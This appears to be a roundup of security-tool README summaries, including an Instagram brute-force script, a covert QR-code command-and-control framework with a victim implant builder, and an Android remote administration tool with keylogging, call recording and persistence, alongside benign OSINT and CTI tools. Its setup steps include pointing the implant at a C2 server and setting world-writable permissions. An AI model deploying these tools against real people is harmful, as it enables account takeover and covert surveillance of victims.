

    πŸš€ Features

    • Intuitive UI/UX: Beautiful pastel theme with smooth navigation.
    • Powerful Filtering:
    • Filter findings by repository, detector type, and uploaded file.
    • Flexible date range selection with a calendar picker.
    • Verification status categorization for effective review.
    • Advanced search capabilities for faster identification.
    • Batch Operations:
    • Verify or reject multiple findings with a single click.
    • Toggle visibility of rejected results for a streamlined view.
    • Bulk processing to manage large datasets efficiently.
    • Export Capabilities:
    • Export verified secrets or filtered findings effortlessly.
    • Save and load session backups for continuity.
    • Generate reports in multiple formats (JSON, CSV).
    • Dynamic Sorting:
    • Sort results by repository, date, or verification status.
    • Customizable sorting preferences for a personalized experience.

    πŸ“₯ Installation & Usage

    1. Clone the Repository

    $ git clone https://github.com/yourusername/trufflehog-explorer.git
    $ cd trufflehog-explorer

    2. Open the index.html

    Simply open the index.html file in your preferred web browser.

    $ open index.html

    πŸ“‚ How to Use

    1. Upload TruffleHog JSON Findings:
    2. Click on the "Load Data" section and select your .json files from TruffleHog output.
    3. Multiple files are supported.
    4. Apply Filters:
    5. Choose filters such as repository, detector type, and verification status.
    6. Utilize the date range picker to narrow down findings.
    7. Leverage the search function to locate specific findings quickly.
    8. Review Findings:
    9. Click on a finding to expand and view its details.
    10. Use the action buttons to verify or reject findings.
    11. Add comments and annotations for better tracking.
    12. Export Results:
    13. Export verified or filtered findings for reporting.
    14. Save session data for future review and analysis.
    15. Save Your Progress:
    16. Save your session and resume later without losing any progress.
    17. Automatic backup feature to prevent data loss.

    Happy Securing! πŸ”’



    PANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data

    By: Unknown


    PANO is a powerful OSINT investigation platform that combines graph visualization, timeline analysis, and AI-powered tools to help you uncover hidden connections and patterns in your data.

    Getting Started

    1. Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO

    2. Run the application:

    3. Linux: ./start_pano.sh
    4. Windows: start_pano.bat

    The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO

    In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;

    1. Select venv manually
    2. Linux: source venv/bin/activate
    3. Windows: call venv\Scripts\activate
    4. See how to login here

    πŸ’‘ Quick Start Guide

    1. Create Investigation: Start a new investigation or load an existing one
    2. Add Entities: Drag entities from the sidebar onto the graph
    3. Discover Connections: Use transforms to automatically find relationships
    4. Analyze: Use timeline and map views to understand patterns
    5. Save: Export your investigation for later use

    πŸ” Features

    πŸ•ΈοΈ Core Functionality

    • Interactive Graph Visualization
    • Drag-and-drop entity creation
    • Multiple layout algorithms (Circular, Hierarchical, Radial, Force-Directed)
    • Dynamic relationship mapping
    • Visual node and edge styling

    • Timeline Analysis

    • Chronological event visualization
    • Interactive timeline navigation
    • Event filtering and grouping
    • Temporal relationship analysis

    • Map Integration

    • Geographic data visualization
    • Location-based analysis
    • Interactive mapping features
    • Coordinate plotting and tracking

    🎯 Entity Management

    • Supported Entity Types
    • πŸ“§ Email addresses
    • πŸ‘€ Usernames
    • 🌐 Websites
    • πŸ–ΌοΈ Images
    • πŸ“ Locations
    • ⏰ Events
    • πŸ“ Text content
    • πŸ”§ Custom entity types

    πŸ”„ Transform System

    • Email Analysis
    • Google account investigation
    • Calendar event extraction
    • Location history analysis
    • Connected services discovery

    • Username Analysis

    • Cross-platform username search
    • Social media profile discovery
    • Platform correlation
    • Web presence analysis

    • Image Analysis

    • Reverse image search
    • Visual content analysis
    • Metadata extraction
    • Related image discovery

    πŸ€– AI Integration

    • PANAI
    • Natural language investigation assistant
    • Automated entity extraction and relationship mapping
    • Pattern recognition and anomaly detection
    • Multi-language support
    • Context-aware suggestions
    • Timeline and graph analysis

    🧩 Core Components

    πŸ“¦ Entities

    Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:

    • Built-in Types
    • πŸ“§ Email: Email addresses with service detection
    • πŸ‘€ Username: Social media and platform usernames
    • 🌐 Website: Web pages with metadata
    • πŸ–ΌοΈ Image: Images with EXIF and analysis
    • πŸ“ Location: Geographic coordinates and addresses
    • ⏰ Event: Time-based occurrences
    • πŸ“ Text: Generic text content

    • Properties System

    • Type-safe property validation
    • Automatic property getters
    • Dynamic property updates
    • Custom property types
    • Metadata support

    ⚑ Transforms

    Transforms are automated operations that process entities to discover new information and relationships:

    • Operation Types
    • πŸ” Discovery: Find new entities from existing ones
    • πŸ”— Correlation: Connect related entities
    • πŸ“Š Analysis: Extract insights from entity data
    • 🌐 OSINT: Gather open-source intelligence
    • πŸ”„ Enrichment: Add data to existing entities

    • Features

    • Async operation support
    • Progress tracking
    • Error handling
    • Rate limiting
    • Result validation

    πŸ› οΈ Helpers

    Helpers are specialized tools with dedicated UIs for specific investigation tasks:

    • Available Helpers
    • πŸ” Cross-Examination: Analyze statements and testimonies
    • πŸ‘€ Portrait Creator: Generate facial composites
    • πŸ“Έ Media Analyzer: Advanced image processing and analysis
    • πŸ” Base Searcher: Search near places of interest
    • πŸ”„ Translator: Translate text between languages

    • Helper Features

    • Custom Qt interfaces
    • Real-time updates
    • Graph integration
    • Data visualization
    • Export capabilities

    πŸ‘₯ Contributing

    We welcome contributions! To contribute to PANO:

    1. Fork the repository at https://github.com/ALW1EZ/PANO/
    2. Make your changes in your fork
    3. Test your changes thoroughly
    4. Create a Pull Request to our main branch
    5. In your PR description, include:
    6. What the changes do
    7. Why you made these changes
    8. Any testing you've done
    9. Screenshots if applicable

    Note: We use a single main branch for development. All pull requests should be made directly to main.

    πŸ“– Development Guide

    Click to expand development documentation ### System Requirements - Operating System: Windows or Linux - Python 3.11+ - PySide6 for GUI - Internet connection for online features ### Custom Entities Entities are the core data structures in PANO. Each entity represents a piece of information with specific properties and behaviors. To create a custom entity: 1. Create a new file in the `entities` folder (e.g., `entities/phone_number.py`) 2. Implement your entity class:
    from dataclasses import dataclass
    from typing import ClassVar, Dict, Any
    from .base import Entity

    @dataclass
    class PhoneNumber(Entity):
    name: ClassVar[str] = "Phone Number"
    description: ClassVar[str] = "A phone number entity with country code and validation"

    def init_properties(self):
    """Initialize phone number properties"""
    self.setup_properties({
    "number": str,
    "country_code": str,
    "carrier": str,
    "type": str, # mobile, landline, etc.
    "verified": bool
    })

    def update_label(self):
    """Update the display label"""
    self.label = self.format_label(["country_code", "number"])
    ### Custom Transforms Transforms are operations that process entities and generate new insights or relationships. To create a custom transform: 1. Create a new file in the `transforms` folder (e.g., `transforms/phone_lookup.py`) 2. Implement your transform class:
    from dataclasses import dataclass
    from typing import ClassVar, List
    from .base import Transform
    from entities.base import Entity
    from entities.phone_number import PhoneNumber
    from entities.location import Location
    from ui.managers.status_manager import StatusManager

    @dataclass
    class PhoneLookup(Transform):
    name: ClassVar[str] = "Phone Number Lookup"
    description: ClassVar[str] = "Lookup phone number details and location"
    input_types: ClassVar[List[str]] = ["PhoneNumber"]
    output_types: ClassVar[List[str]] = ["Location"]

    async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
    if not isinstance(entity, PhoneNumber):
    return []

    status = StatusManager.get()
    operation_id = status.start_loading("Phone Lookup")

    try:
    # Your phone number lookup logic here
    # Example: query an API for phone number details
    location = Location(properties={
    "country": "Example Country",
    "region": "Example Region",
    "carrier": "Example Carrier",
    "source": "PhoneLookup transform"
    })

    return [location]

    except Exception as e:
    status.set_text(f"Error during phone lookup: {str(e)}")
    return []

    finally:
    status.stop_loading(operation_id)
    ### Custom Helpers Helpers are specialized tools that provide additional investigation capabilities through a dedicated UI interface. To create a custom helper: 1. Create a new file in the `helpers` folder (e.g., `helpers/data_analyzer.py`) 2. Implement your helper class:
    from PySide6.QtWidgets import (
    QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
    QTextEdit, QLabel, QComboBox
    )
    from .base import BaseHelper
    from qasync import asyncSlot

    class DummyHelper(BaseHelper):
    """A dummy helper for testing"""

    name = "Dummy Helper"
    description = "A dummy helper for testing"

    def setup_ui(self):
    """Initialize the helper's user interface"""
    # Create input text area
    self.input_label = QLabel("Input:")
    self.input_text = QTextEdit()
    self.input_text.setPlaceholderText("Enter text to process...")
    self.input_text.setMinimumHeight(100)

    # Create operation selector
    operation_layout = QHBoxLayout()
    self.operation_label = QLabel("Operation:")
    self.operation_combo = QComboBox()
    self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
    operation_layout.addWidget(self.operation_label)
    operation_layout.addWidget(self.operation_combo)

    # Create process button
    self.process_btn = QPushButton("Process")
    self.process_btn.clicked.connect(self.process_text)

    # Create output text area
    self.output_label = QLabel("Output:")
    self.output_text = QTextEdit()
    self.output_text.setReadOnly(True)
    self.output_text.setMinimumHeight(100)

    # Add widgets to main layout
    self.main_layout.addWidget(self.input_label)
    self.main_layout.addWidget(self.input_text)
    self.main_layout.addLayout(operation_layout)
    self.main_layout.addWidget(self.process_btn)
    self.main_layout.addWidget(self.output_label)
    self.main_layout.addWidget(self.output_text)

    # Set dialog size
    self.resize(400, 500)

    @asyncSlot()
    async def process_text(self):
    """Process the input text based on selected operation"""
    text = self.input_text.toPlainText()
    operation = self.operation_combo.currentText()

    if operation == "Uppercase":
    result = text.upper()
    elif operation == "Lowercase":
    result = text.lower()
    else: # Title Case
    result = text.title()

    self.output_text.setPlainText(result)

    πŸ“„ License

    This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.

    You are free to: - βœ… Share: Copy and redistribute the material - βœ… Adapt: Remix, transform, and build upon the material

    Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - πŸ”“ No additional restrictions

    πŸ™ Acknowledgments

    Special thanks to all library authors and contributors who made this project possible.

    πŸ‘¨β€πŸ’» Author

    Created by ALW1EZ with AI ❀️



    Wappalyzer-Next - Python library that uses Wappalyzer extension (and its fingerprints) to detect technologies

    By: Unknown


    This project is a command line tool and python library that uses Wappalyzer extension (and its fingerprints) to detect technologies. Other projects emerged after discontinuation of the official open source project are using outdated fingerpints and lack accuracy when used on dynamic web-apps, this project bypasses those limitations.


    Installation

    Before installing wappalyzer, you will to install Firefox and geckodriver/releases">geckodriver. Below are detailed steps for setting up geckodriver but you may use google/youtube for help.

    Setting up geckodriver

    Step 1: Download GeckoDriver

    1. Visit the official GeckoDriver releases page on GitHub:
      https://github.com/mozilla/geckodriver/releases
    2. Download the version compatible with your system:
    3. For Windows: geckodriver-vX.XX.X-win64.zip
    4. For macOS: geckodriver-vX.XX.X-macos.tar.gz
    5. For Linux: geckodriver-vX.XX.X-linux64.tar.gz
    6. Extract the downloaded file to a folder of your choice.

    Step 2: Add GeckoDriver to the System Path

    To ensure Selenium can locate the GeckoDriver executable: - Windows: 1. Move the geckodriver.exe to a directory (e.g., C:\WebDrivers\). 2. Add this directory to the system's PATH: - Open Environment Variables. - Under System Variables, find and select the Path variable, then click Edit. - Click New and enter the directory path where geckodriver.exe is stored. - Click OK to save. - macOS/Linux: 1. Move the geckodriver file to /usr/local/bin/ or another directory in your PATH. 2. Use the following command in the terminal: bash sudo mv geckodriver /usr/local/bin/ Ensure /usr/local/bin/ is in your PATH.

    Install as a command-line tool

    pipx install wappalyzer

    Install as a library

    To use it as a library, install it with pip inside an isolated container e.g. venv or docker. You may also --break-system-packages to do a 'regular' install but it is not recommended.

    Install with docker

    Steps

    1. Clone the repository:
    git clone https://github.com/s0md3v/wappalyzer-next.git
    cd wappalyzer-next
    1. Build and run with Docker Compose:
    docker compose up -d
    1. To scan URLs using the Docker container:

    2. Scan a single URL:

    docker compose run --rm wappalyzer -i https://example.com
    • Scan Multiple URLs from a file:
    docker compose run --rm wappalyzer -i https://example.com -oJ output.json

    For Users

    Some common usage examples are given below, refer to list of all options for more information.

    • Scan a single URL: wappalyzer -i https://example.com
    • Scan multiple URLs from a file: wappalyzer -i urls.txt -t 10
    • Scan with authentication: wappalyzer -i https://example.com -c "sessionid=abc123; token=xyz789"
    • Export results to JSON: wappalyzer -i https://example.com -oJ results.json

    Options

    Note: For accuracy use 'full' scan type (default). 'fast' and 'balanced' do not use browser emulation.

    • -i: Input URL or file containing URLs (one per line)
    • --scan-type: Scan type (default: 'full')
    • fast: Quick HTTP-based scan (sends 1 request)
    • balanced: HTTP-based scan with more requests
    • full: Complete scan using wappalyzer extension
    • -t, --threads: Number of concurrent threads (default: 5)
    • -oJ: JSON output file path
    • -oC: CSV output file path
    • -oH: HTML output file path
    • -c, --cookie: Cookie header string for authenticated scans

    For Developers

    The python library is a available on pypi as wappalyzer and can be imported with the same name.

    Using the Library

    The main function you'll interact with is analyze():

    from wappalyzer import analyze

    # Basic usage
    results = analyze('https://example.com')

    # With options
    results = analyze(
    url='https://example.com',
    scan_type='full', # 'fast', 'balanced', or 'full'
    threads=3,
    cookie='sessionid=abc123'
    )

    analyze() Function Parameters

    • url (str): The URL to analyze
    • scan_type (str, optional): Type of scan to perform
    • 'fast': Quick HTTP-based scan
    • 'balanced': HTTP-based scan with more requests
    • 'full': Complete scan including JavaScript execution (default)
    • threads (int, optional): Number of threads for parallel processing (default: 3)
    • cookie (str, optional): Cookie header string for authenticated scans

    Return Value

    Returns a dictionary with the URL as key and detected technologies as value:

    {
    "https://github.com": {
    "Amazon S3": {"version": "", "confidence": 100, "categories": ["CDN"], "groups": ["Servers"]},
    "lit-html": {"version": "1.1.2", "confidence": 100, "categories": ["JavaScript libraries"], "groups": ["Web development"]},
    "React Router": {"version": "6", "confidence": 100, "categories": ["JavaScript frameworks"], "groups": ["Web development"]},
    "https://google.com" : {},
    "https://example.com" : {},
    }}

    FAQ

    Why use Firefox instead of Chrome?

    Firefox extensions are .xpi files which are essentially zip files. This makes it easier to extract data and slightly modify the extension to make this tool work.

    What is the difference between 'fast', 'balanced', and 'full' scan types?

    • fast: Sends a single HTTP request to the URL. Doesn't use the extension.
    • balanced: Sends additional HTTP requests to .js files, /robots.txt annd does DNS queries. Doesn't use the extension.
    • full: Uses the official Wappalyzer extension to scan the URL in a headless browser.


    Telegram-Checker - A Python Tool For Checking Telegram Accounts Via Phone Numbers Or Usernames

    By: Unknown


    Enhanced version of bellingcat's Telegram Phone Checker!

    A Python script to check Telegram accounts using phone numbers or username.


    ✨ Features

    • πŸ” Check single or multiple phone numbers and usernames
    • πŸ“ Import numbers from text file
    • πŸ“Έ Auto-download profile pictures
    • πŸ’Ύ Save results as JSON
    • πŸ” Secure credential storage
    • πŸ“Š Detailed user information

    πŸš€ Installation

    1. Clone the repository:
    git clone https://github.com/unnohwn/telegram-checker.git
    cd telegram-checker
    1. Install required packages:
    pip install -r requirements.txt

    πŸ“¦ Requirements

    Contents of requirements.txt:

    telethon
    rich
    click
    python-dotenv

    Or install packages individually:

    pip install telethon rich click python-dotenv

    βš™οΈ Configuration

    First time running the script, you'll need: - Telegram API credentials (get from https://my.telegram.org/apps) - Your Telegram phone number including countrycode + - Verification code (sent to your Telegram)

    πŸ’» Usage

    Run the script:

    python telegram_checker.py

    Choose from options: 1. Check phone numbers from input 2. Check phone numbers from file 3. Check usernames from input 4. Check usernames from file 5. Clear saved credentials 6. Exit

    πŸ“‚ Output

    Results are saved in: - results/ - JSON files with detailed information - profile_photos/ - Downloaded profile pictures

    ⚠️ Note

    This tool is for educational purposes only. Please respect Telegram's terms of service and user privacy.

    πŸ“„ License

    MIT License



    Torward - An Improved Version Based On The Torghost-Gn And Darktor Scripts, Designed To Enhance Anonymity On The Internet

    By: Unknown


    Torward is an improved version based on the torghost-gn and darktor scripts, designed to enhance anonymity on the Internet. The tool prevents data leaks and forces all traffic from our computer to be routed exclusively through the Tor network, providing a high level of privacy in our connections.


    Installation

       git clone https://github.com/chundefined/Torward.git
       cd Torward
       chmod +x install.sh
       ./install.sh

    Security Enhancements

    This version includes several key security improvements to protect your identity and ensure better network configuration:

    1. IPv6 Leak Prevention
      IPv6 is now disabled to prevent any potential IP leaks. All traffic is forced through the Tor network by modifying system IPv6 settings in network_config.py.

    2. Enhanced iptables Rules
      Strict iptables rules are implemented to ensure only Tor traffic is allowed. Non-Tor traffic is blocked, DNS queries are routed through Tor, and only essential connections to Tor ports are permitted. Additionally, IPv6 traffic is blocked to prevent leaks.

    3. Tor Configuration Adjustments
      The torward file has been updated to enforce that all traffic, including DNS queries, is routed through Tor, improving anonymity.

    TODO

    • Get the IP from the last Tor exit node: Currently, the script does not display the IP of the last Tor exit node in the console. This can be achieved by using Tor's API to get the public IP of the exit node.
    • Better error handling: Ensure that the tool properly handles errors, such as Tor disconnection or network issues.


    Instagram-Brute-Force-2024 - Instagram Brute Force 2024 Compatible With Python 3.13 / X64 Bit / Only Chrome Browser

    By: Unknown


    Instagram Brute Force CPU/GPU Supported 2024

    (Use option 2 while running the script.)

    (Option 1 is on development)

    (Chrome should be downloaded in device.)

    Compatible and Tested (GUI Supported Operating Systems Only)

    Python 3.13 x64 bit Unix / Linux / Mac / Windows 8.1 and higher


    Install Requirements

    pip install -r requirements.txt

    How to run

    python3 instagram_brute_force.py [instagram_username_without_hashtag]
    python3 instagram_brute_force.py mrx161


    QuickResponseC2 - A Command & Control Server That Leverages QR Codes To Send Commands And Receive Results From Remote Systems

    By: Unknown



    QuickResponseC2 is a stealthy Command and Control (C2) framework that enables indirect and covert communication between the attacker and victim machines via an intermediate HTTP/S server. All network activity is limited to uploading and downloading images, making it an fully undetectable by IPS/IDS Systems and an ideal tool for security research and penetration testing.


    Capabilities:

    • Command Execution via QR Codes:
      Users can send custom commands to the victim machine, encoded as QR codes.
      Victims scan the QR code, which triggers the execution of the command on their system.
      The command can be anything from simple queries to complex operations based on the test scenario.

    • Result Retrieval:
      Results of the executed command are returned from the victim system and encoded into a QR code.
      The server decodes the result and provides feedback to the attacker for further analysis or follow-up actions.

    • Built-in HTTP Server:
      The tool includes a lightweight HTTP server that facilitates the victim machine's retrieval of command QR codes.
      Results are sent back to the server as QR code images, and they are automatically saved with unique filenames for easy management.
      The attacker's machine handles multiple requests, with HTTP logs organized and saved separately.

    • Stealthy Communication:
      QuickResponseC2 operates under the radar, with minimal traces, providing a covert way to interact with the victim machine without alerting security defenses.
      Ideal for security assessments or testing command-and-control methodologies without being detected.

    • File Handling:
      The tool automatically saves all QR codes (command and result) to the server_files directory, using sequential filenames like command0.png, command1.png, etc.
      Decoding and processing of result files are handled seamlessly.

    • User-Friendly Interface:
      The tool is operated via a simple command-line interface, allowing users to set up a C2 server, send commands, and receive results with ease.
      No additional complex configurations or dependencies are needed.

    Usage

    1. First, install the Dependencies - pip3 install -r requirements.txt
    2. Then, run the main.py python3 main.py
    3. Choose between the options:

    1 - Run the C2 Server

    2 - Build the Victim Implant

    1. Enjoy!

    Demonstration

    https://github.com/user-attachments/assets/382e9350-d650-44e5-b8ef-b43ec90b315d

    Workflow Overview

    1. Initialization of the C2 Server

    • The attacker launches QuickResponseC2, which creates a lightweight HTTP server (default port: 8080).
    • This server serves as the intermediary between the attacker and victim, eliminating any direct connection between them.

    2. Command Delivery via QR Codes

    • The attacker encodes a command into a QR code and saves it as commandX.png on the HTTP server.
    • The victim machine periodically polls the server (e.g., every 1 second) to check for the presence of a new command file.

    3. Victim Command Execution

    • Once the victim detects a new QR code file (commandX.png), it downloads and decodes the image to retrieve the command.
    • The decoded command is executed on the victim's system.

    4. Result Encoding and Uploading

    • The victim encodes the output of the executed command into a QR code and saves it locally as resultX.png.
    • The result file is then uploaded to the HTTP server.

    5. Result Retrieval by the Attacker

    • The attacker periodically checks the server for new result files (resultX.png).
    • Once found, the result file is downloaded and decoded to retrieve the output of the executed command.

    TODO & Contribution

    • [x] Generate a Template for the Implant
    • [ ] Compile the implant as an .exe automatically
    • [x] Save the generated QR Code as bytes in a variable instead of a file - VICTIM Side
    • [ ] Add an obfuscation on the commands decoded from the QR Codes automatically

    Feel free to fork and contribute! Pull requests are welcome.



    Telegram-Scraper - A Powerful Python Script That Allows You To Scrape Messages And Media From Telegram Channels Using The Telethon Library

    By: Unknown


    A powerful Python script that allows you to scrape messages and media from Telegram channels using the Telethon library. Features include real-time continuous scraping, media downloading, and data export capabilities.

    ___________________  _________
    \__ ___/ _____/ / _____/
    | | / \ ___ \_____ \
    | | \ \_\ \/ \
    |____| \______ /_______ /
    \/ \/

    Features πŸš€

    • Scrape messages from multiple Telegram channels
    • Download media files (photos, documents)
    • Real-time continuous scraping
    • Export data to JSON and CSV formats
    • SQLite database storage
    • Resume capability (saves progress)
    • Media reprocessing for failed downloads
    • Progress tracking
    • Interactive menu interface

    Prerequisites πŸ“‹

    Before running the script, you'll need:

    • Python 3.7 or higher
    • Telegram account
    • API credentials from Telegram

    Required Python packages

    pip install -r requirements.txt

    Contents of requirements.txt:

    telethon
    aiohttp
    asyncio

    Getting Telegram API Credentials πŸ”‘

    1. Visit https://my.telegram.org/auth
    2. Log in with your phone number
    3. Click on "API development tools"
    4. Fill in the form:
    5. App title: Your app name
    6. Short name: Your app short name
    7. Platform: Can be left as "Desktop"
    8. Description: Brief description of your app
    9. Click "Create application"
    10. You'll receive:
    11. api_id: A number
    12. api_hash: A string of letters and numbers

    Keep these credentials safe, you'll need them to run the script!

    Setup and Running πŸ”§

    1. Clone the repository:
    git clone https://github.com/unnohwn/telegram-scraper.git
    cd telegram-scraper
    1. Install requirements:
    pip install -r requirements.txt
    1. Run the script:
    python telegram-scraper.py
    1. On first run, you'll be prompted to enter:
    2. Your API ID
    3. Your API Hash
    4. Your phone number (with country code)
    5. Your phone number (with country code) or bot, but use the phone number option when prompted second time.
    6. Verification code (sent to your Telegram)

    Initial Scraping Behavior πŸ•’

    When scraping a channel for the first time, please note:

    • The script will attempt to retrieve the entire channel history, starting from the oldest messages
    • Initial scraping can take several minutes or even hours, depending on:
    • The total number of messages in the channel
    • Whether media downloading is enabled
    • The size and number of media files
    • Your internet connection speed
    • Telegram's rate limiting
    • The script uses pagination and maintains state, so if interrupted, it can resume from where it left off
    • Progress percentage is displayed in real-time to track the scraping status
    • Messages are stored in the database as they are scraped, so you can start analyzing available data even before the scraping is complete

    Usage πŸ“

    The script provides an interactive menu with the following options:

    • [A] Add new channel
    • Enter the channel ID or channelname
    • [R] Remove channel
    • Remove a channel from scraping list
    • [S] Scrape all channels
    • One-time scraping of all configured channels
    • [M] Toggle media scraping
    • Enable/disable downloading of media files
    • [C] Continuous scraping
    • Real-time monitoring of channels for new messages
    • [E] Export data
    • Export to JSON and CSV formats
    • [V] View saved channels
    • List all saved channels
    • [L] List account channels
    • List all channels with ID:s for account
    • [Q] Quit

    Channel IDs πŸ“’

    You can use either: - Channel username (e.g., channelname) - Channel ID (e.g., -1001234567890)

    Data Storage πŸ’Ύ

    Database Structure

    Data is stored in SQLite databases, one per channel: - Location: ./channelname/channelname.db - Table: messages - id: Primary key - message_id: Telegram message ID - date: Message timestamp - sender_id: Sender's Telegram ID - first_name: Sender's first name - last_name: Sender's last name - username: Sender's username - message: Message text - media_type: Type of media (if any) - media_path: Local path to downloaded media - reply_to: ID of replied message (if any)

    Media Storage πŸ“

    Media files are stored in: - Location: ./channelname/media/ - Files are named using message ID or original filename

    Exported Data πŸ“Š

    Data can be exported in two formats: 1. CSV: ./channelname/channelname.csv - Human-readable spreadsheet format - Easy to import into Excel/Google Sheets

    1. JSON: ./channelname/channelname.json
    2. Structured data format
    3. Ideal for programmatic processing

    Features in Detail πŸ”

    Continuous Scraping

    The continuous scraping feature ([C] option) allows you to: - Monitor channels in real-time - Automatically download new messages - Download media as it's posted - Run indefinitely until interrupted (Ctrl+C) - Maintains state between runs

    Media Handling

    The script can download: - Photos - Documents - Other media types supported by Telegram - Automatically retries failed downloads - Skips existing files to avoid duplicates

    Error Handling πŸ› οΈ

    The script includes: - Automatic retry mechanism for failed media downloads - State preservation in case of interruption - Flood control compliance - Error logging for failed operations

    Limitations ⚠️

    • Respects Telegram's rate limits
    • Can only access public channels or channels you're a member of
    • Media download size limits apply as per Telegram's restrictions

    Contributing 🀝

    Contributions are welcome! Please feel free to submit a Pull Request.

    License πŸ“„

    This project is licensed under the MIT License - see the LICENSE file for details.

    Disclaimer βš–οΈ

    This tool is for educational purposes only. Make sure to: - Respect Telegram's Terms of Service - Obtain necessary permissions before scraping - Use responsibly and ethically - Comply with data protection regulations



    Moukthar - Android Remote Administration Tool

    By: Unknown


    Remote adminitration tool for android

    Features

    • Permissions bypass (android 12 below) https://youtube.com/shorts/-w8H0lkFxb0
    • Keylogger https://youtube.com/shorts/Ll9dNrkjFOA
    • Notifications listener
    • SMS listener
    • Phone call recording
    • Image capturing and screenshots
    • Video recording
    • Persistence
    • Read & write contacts
    • List installed applications
    • Download & upload files
    • Get device location

    Installation

    • Clone repository console git clone https://github.com/Tomiwa-Ot/moukthar.git
    • Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
    • Move server files to /var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 . The default credentials are username: android and password: android
    • Create new sql user mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
    • Set database credentials in c2-server/.env and web-socket/.env
    • Execute database.sql
    • Start web socket server or deploy as service in linux console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
    • Modify /etc/apache2/sites-available/000-default.conf ```console ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes
      ErrorLog ${APACHE_LOG_DIR}/error.log
      CustomLog ${APACHE_LOG_DIR}/access.log combined

    - Modify/etc/apache2/apache2.confxml Comment this section # # Options FollowSymLinks # AllowOverride None # Require all denied #

    Add this Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted - Increase php file upload max size/etc/php/./apache2/php.iniini ; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M - Set web socket server address in <script> tag inc2-server/src/View/home.phpandc2-server/src/View/features/files.phpconsole const ws = new WebSocket('ws://IP_ADDRESS:8080'); - Restart apache using the command belowconsole sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in clientfunctionality/Utils.javajava public static final String C2_SERVER = "http://localhost";

    public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target

    Screenshots

    TODO

    • Auto scroll logs on dashboard
    • Screenshot not working
    • Image/Video capturing doesn't work when application isn't in focus
    • Downloading files in app using DownloadManager not working
    • Listing constituents of a directory doesn't list all files/folders


    Lobo GuarΓ‘ - Cyber Threat Intelligence Platform

    By: Unknown


    Lobo GuarΓ‘ is a platform aimed at cybersecurity professionals, with various features focused on Cyber Threat Intelligence (CTI). It offers tools that make it easier to identify threats, monitor data leaks, analyze suspicious domains and URLs, and much more.


    Features

    1. SSL Certificate Search

    Allows identifying domains and subdomains that may pose a threat to organizations. SSL certificates issued by trusted authorities are indexed in real-time, and users can search using keywords of 4 or more characters.

    Note: The current database contains certificates issued from September 5, 2024.

    2. SSL Certificate Discovery

    Allows the insertion of keywords for monitoring. When a certificate is issued and the common name contains the keyword (minimum of 5 characters), it will be displayed to the user.

    3. Tracking Link

    Generates a link to capture device information from attackers. Useful when the security professional can contact the attacker in some way.

    4. Domain Scan

    Performs a scan on a domain, displaying whois information and subdomains associated with that domain.

    5. Web Path Scan

    Allows performing a scan on a URL to identify URIs (web paths) related to that URL.

    6. URL Scan

    Performs a scan on a URL, generating a screenshot and a mirror of the page. The result can be made public to assist in taking down malicious websites.

    7. URL Monitoring

    Monitors a URL with no active application until it returns an HTTP 200 code. At that moment, it automatically initiates a URL scan, providing evidence for actions against malicious sites.

    8. Data Leak

    • Data Leak Alerts: Monitors and presents almost real-time data leaks posted in hacker forums and websites.
    • URL+User+Password: Allows searching by URL, username, or password, helping identify leaked data from clients or employees.

    9. Threat Intelligence Feeds

    Centralizes intelligence news from various channels, keeping users updated on the latest threats.

    Installation

    The application installation has been approved on Ubuntu 24.04 Server and Red Hat 9.4 distributions, the links for which are below:

    Lobo GuarΓ‘ Implementation on Ubuntu 24.04

    Lobo GuarΓ‘ Implementation on Red Hat 9.4

    There is a Dockerfile and a docker-compose version of Lobo GuarΓ‘ too. Just clone the repo and do:

    docker compose up

    Then, go to your web browser at localhost:7405.

    Dependencies

    Before proceeding with the installation, ensure the following dependencies are installed:

    • PostgreSQL
    • Python 3.12
    • ChromeDriver and Google Chrome (version 129.0.6668.89)
    • FFUF (version 2.0.0)
    • Subfinder (version 2.6.6)

    Installation Instructions

    1. Clone the repository:
    git clone https://github.com/olivsec/loboguara.git
    1. Enter the project directory:
    cd loboguara/
    1. Edit the configuration file:
    nano server/app/config.py

    Fill in the required parameters in the config.py file:

    class Config:
    SECRET_KEY = 'YOUR_SECRET_KEY_HERE'
    SQLALCHEMY_DATABASE_URI = 'postgresql://guarauser:YOUR_PASSWORD_HERE@localhost/guaradb?sslmode=disable'
    SQLALCHEMY_TRACK_MODIFICATIONS = False

    MAIL_SERVER = 'smtp.example.com'
    MAIL_PORT = 587
    MAIL_USE_TLS = True
    MAIL_USERNAME = 'no-reply@example.com'
    MAIL_PASSWORD = 'YOUR_SMTP_PASSWORD_HERE'
    MAIL_DEFAULT_SENDER = 'no-reply@example.com'

    ALLOWED_DOMAINS = ['yourdomain1.my.id', 'yourdomain2.com', 'yourdomain3.net']

    API_ACCESS_TOKEN = 'YOUR_LOBOGUARA_API_TOKEN_HERE'
    API_URL = 'https://loboguara.olivsec.com.br/api'

    CHROME_DRIVER_PATH = '/opt/loboguara/bin/chromedriver'
